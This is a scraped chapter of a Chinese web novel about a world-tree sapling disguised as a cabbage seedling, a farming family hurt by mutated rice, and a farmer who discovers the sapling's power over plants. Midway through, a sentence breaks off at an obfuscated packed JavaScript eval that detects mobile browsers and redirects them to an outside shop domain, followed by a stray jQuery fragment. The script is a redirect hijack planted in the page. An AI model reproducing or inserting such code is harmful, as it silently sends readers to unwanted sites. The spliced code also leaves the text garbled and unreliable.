“这人类……战斗力未免太弱了点?”

    薇卡缇收回视线,语气里带着几分担忧。

    现在不过是灾厄初现的阶段,植物的污染程度还很低。对付这种程度的污染物,这人类竟然缠斗了很久才解决,自己还受了伤。要是到了灾厄中期,植物污染加剧,随便一株就能灭掉一个小村庄,这人类到时候该怎么活?

    她的目光重新落回远处的庄稼地,根须尖尖微勾。

    虽然距离遥远,视野不够清晰,但作为世界树,她能轻易感知到这些植物的生命状态。它们……很不妙。大部分植株只长叶子,毫无开花的迹象,呈现出一种诡异的“返祖”状态,向过去某种原始的形态退化。

    又或者说为了变强,放弃繁育的能力。

    在纳卡大陆,魔谷是人类赖以生存的主食之一,生长周期短,产量大。但唯一的麻烦是,地里总会长出一种和魔谷极为相似的野谷草。这种野谷草生长极快,会疯狂争夺阳光和养分,却永远不会开花结果。

    而眼前的庄稼地里,就有许多植物和野谷草的生命形态如出一辙。

    还没等她细想,远处突然传来一阵急促慌乱的脚步声,伴随着压抑不住的哭喊。

    薇卡缇立刻转移视线。

    只见几个瘦骨嶙峋的人影跌跌撞撞地冲来。他们抬着一位老人类,老人类身上满是血迹,脖子上一道狰狞的伤口正汩汩冒血,触目惊心。抬着他的人满脸惊恐,语无伦次地喊着她听不懂的话。

    “小祝!快!快去找你奶!你爷爷……你爷爷要不行了!”

    “河州!快收拾床铺!你爸受伤了!快啊!”

    “青梅婶子!你家建安受伤了!快准备治疗!快!”

    ……

    那个原本在田里劳作的年轻人类,看到这一幕,眼睛瞬间红了。她慌忙从地里跑出来,脚下一软,整个人重重地摔在地上,但她连滚带爬地又站起来,跌跌撞撞地冲向屋里。

    屋檐下,那个坐轮椅的残疾人类,抓着黑条子的瘸腿人类,听到动静,浑身一激灵,手里的东西险些脱手,残疾人类捧着的半碗粮食更是撒了一地。他们根本顾不上捡,慌忙抬头,着急地朝声响处张望。

    看到老人类那惨不忍睹的模样,瘸腿人类脸色煞白,一把推过轮椅,一瘸一拐冲进屋内。

    薇卡缇的视线被墙壁阻挡,但她并不在意。作为世界树,她靠的不是眼睛,而是意识。只要控制好意识,就能穿透墙壁,只是视野会模糊许多。

    屋内一片混乱。

    受伤的人类被小心翼翼地放在床上。那残疾人类颤抖着闭上眼,额头上渗出细密的汗珠,手中艰难地浮现出一团微弱的绿色光团。光团覆盖在老人脖子的伤口上,血流渐渐减缓,过了许久才勉强止住。

    床边围了八个人,除了轮椅上的治疗者,还有五个陌生面孔,此刻都脸色苍白,小声地议论着,语气里满是恐惧和绝望。

    “怎么回事?我爸怎么会被打成这样?”

    “不是被人……我本来在番薯地里,突然听到建安叔的惨叫,过去就看到他……他是被异变水稻砍到脖子的!”

    “异变水稻?怎么可能!”

    “是这样没错!当时我就在旁边的田里,一个没注意,公公就被那该死的异变稻叶砍伤了!那叶子是银色的,和刀没两样!”

    “变异水稻?结界中心区怎么会有这么强的变异水稻?我早上才检查过……”

    “是啊,早上我们还一起仔细检查过才进入田里的,没想到那异变水稻还会隐藏。”

    “植物的异变已经进化到能隐藏气息和外表了吗。再这样下去,我们的田地……还能种吗?我们还能活吗?”

    虽然听不懂她们在说什么,但那种绝望、无助的情绪却像实质一样冲击着薇卡缇的意识。这些人类的情绪……太激烈了,让薇卡缇听着有些不自在。

    薇卡缇忽略那种不舒服的感觉,索性将注意力放在了那个正在给人治疗的残疾人类身上。

    这残疾人类还是个治疗系污染者,可惜……太弱了。这治疗效果慢得令人发指。再晚几分钟,那老人类恐怕就要失血过多而死。

    怪不得她明明是治疗系,却没治好自己的腿。要么是受伤时间不长,还没到痊愈的时候;要么就是伤势并非普通外伤,她的这点微末实力,根本无法治疗。

    薇卡缇心中那点紧张感瞬间烟消云散。

    看来,自己还是大有用武之地的。

    屋内的人议论了很久,每个人脸上都写满了沉重和担忧。直到床上的老人脸色终于有了些血色,那几个陌生人才一脸愁容地离开。剩下的四人又唉声叹气地聊了一会儿,最后只留下轮椅上的治疗者和那个瘸腿的人类照顾受伤人类。

    另外一中年人类和年轻人类从屋内走出,她们没有说话,只是默默地走向屋外的庄稼地。她们的背影疲惫,走路的姿势却异常坚定。

    此时太阳高挂,毒辣地炙烤着大地。薇卡缇收回视野,百无聊赖地“望”着这陌生的世界,心中却在盘算着怎么变强。

    不知过了多久,结界边缘出现了一个熟悉的身影,还是那个年轻人类。

    她手里捧着好几棵植物,小心翼翼的,像是捧着什么稀世珍宝。薇卡缇认出那是外面庄稼地里仅有的几棵带果实的作物。

    紧接着,那人类手里亮起一团柔和的光,仔细地把每一棵植物都包裹起来。

    “这是在干什么?”薇卡缇心里犯起了嘀咕。

    这场景怎么有点像那些骑士小说里写的,主角进城前被卫兵拦下检查身份?难道植物也要登记身份?还是说这几棵植物身份特殊,怕结界里的环境影响它们生长?

    她想不明白,只能继续盯着。

    “噗呲——”

    熟悉的脚步声再次闯入她的感知范围。那个年轻人类低着头,一步一步朝她走来——准确地说,是朝她所在的这片土地走来。

    这次薇卡缇没有那么提心吊胆了,但也不敢乱动,生怕引起人类的注意。

    毕竟现在的她,弱得可怜。

    人类走到离她不远处的地方,轻轻放下了手里的植物。动作轻柔,那待遇,可比早上随手把她往土里一扔要好太多了。

    薇卡缇莫名涌上一股酸味:哼,区别对待。

    那人类显然没察觉到一株小菜苗的“情绪”,随手抄起墙边的一把金属铲子,对着离她不到十公分的地方就铲了下去。

    “咔嚓——”

    泥土翻飞。

    薇卡缇吓得根须一缩,好吧,她又忘了,现在的她没有自然之力,根本做不出什么大动作。这一惊吓,纯属自己吓自己。

    铲子连续在她周围挖了六个大坑才停下。

    望着那些深不见底的“巨坑”,再回想早上人类给自己挖的那个浅得可怜的小坑,薇卡缇心里更不平衡了。

    这人类,哼!

    人类放下铲子,又给坑里浇了些水,还撒了些奇奇怪怪的粉末。虽然薇卡缇不认识,但凭着世界树的本能,她能感觉到那是对植物有益的养料。

    “对这些庄稼真好……”薇卡缇微微垂下子叶尖尖,心里酸溜溜的,忍不住想起了远在纳卡大陆的母树,想起了精灵女王和祭司们的宠爱。

    没有母树的庇护,她果然就像棵路边的杂草,没人疼没人爱。

    正当她情绪低落时,一棵庞大的身影被温柔地栽进了大坑里。那是一株足有一米五高的庄稼,枝叶繁茂,瞬间就

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965767|214507||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    把薇卡缇头顶的阳光遮得严严实实。

    薇卡缇更不爽了。

    本来被种在坑里一直拼命摇晃的植物,瞬间向外倾斜。薇卡缇意识到自己吓到它了,怕被人类发现异常,连忙收敛情绪。可那植物因为受到污染,比普通植物多了丝意识,离她太近,即便薇卡缇收敛了情绪,它还是本能地对世界树感到恐惧,想要逃离。

    而这一幕,刚好被种植物的人类……李小祝看在眼里。

    李小祝正要把另一棵水稻放进坑里,那水稻突然发疯似的歪倒,让她瞬间想起了早上的诡异一幕。

    她把水稻拿出来,走了几步,水稻立马恢复笔直。

    李小祝:“!!!”

    她不信邪,又试着把水稻往坑里送,离得越近,水稻挣扎得越厉害。当她试着把水稻放在那株“小白菜苗”旁边时,那棵水稻直接贴在地上,叶子疯狂摩擦发出“沙沙”的声音,就像被吓得匍匐在地,瑟瑟发抖。

    李小祝眼神一凛,又拿起另一棵水稻,贴着“小白菜苗”种下。水稻歪倒在地,剧烈颤动了几秒,随后像死了一样,一动不动。

    抬手看了看自己的手,想起早上也曾拿起过“小白菜苗”。

    “有问题。”李小祝眯起眼,朝“小白菜苗”释放了一个探测结界。

    没有任何异变的气息。

    李小祝刚想放下戒心,突然想起爷爷就是被伪装成普通水稻的异变植物割伤的。眼下这棵“小白菜苗”或许也是,只是太过羸弱,所以没有展现攻击力。

    想到这里,李小祝眼中闪过一丝狠辣,掌心瞬间凝聚起一团火光。

    然而,就在火光即将落下的瞬间,她的视线扫过了周围的其她蔬菜。

    嗯?怎么都长大了?

    每棵菜都明显长高了五厘米以上!尤其是离“小白菜苗”最近的那几棵菜,竟然开花了!

    难道她记错了?不可能记错。这片菜地是她专门开辟的,每一棵菜她都特别关注,绝不可能记错。

    李小祝收回掌心的火苗,目光灼灼地盯着那株“小白菜苗”。

    “一个上午就让周围的菜长高5厘米,甚至开了花……”她的心脏剧烈跳动着,“如果能利用这一点……”她的脑海里瞬间闪过无数画面:地里上疯长的粮食,枯萎的森林重现生机,甚至……用这种能力来培育更强大的异变作物作为武器。

    为了验证猜想,李小祝连忙把另外几棵水稻往远处挪了挪,直到水稻不再剧烈挣扎,才把它种下。

    然后,她又把那几棵开花的生菜移到了“小白菜苗”旁边。

    嗯?

    是因为普通的生菜没有意识,所以不怕它吗。

    “看来这‘白菜’只对有意识的异变植物有威慑。”李小祝迅速得出了结论。

    既然如此!

    种完后,李小祝手心亮起结界白光,将“小白菜苗”标记在内。一是为了时刻关注它的动态,二是为了不让结界影响它吸收空气中的异能量。

    刚因为人类没伤害自己而放下心来的薇卡缇,突然感觉自己暴露在结界之外,一股似有若无的“秽”气息像恶心的蛆虫般缠绕上她的植株。

    莫名有种生命力在被一点点腐蚀的刺痛感。

    薇卡缇:“啊!!可恶的人类!!!!!!!!!!!!!!!!!!!!!!!!!!!!”

    怎么把她暴露在结界外面了?这很容易被污染的啊!

    别说她一棵残缺的脆弱世界树树苗了,就算是大魔法师,乃至神明,只要被“秽”污染,那么体内的魔力或神力会与“秽”相互倾轧、彼此吞噬,却始终无法共存。最后,污染者因此饱受折磨,最终在痛苦中死去。

    她不要这样啊!!!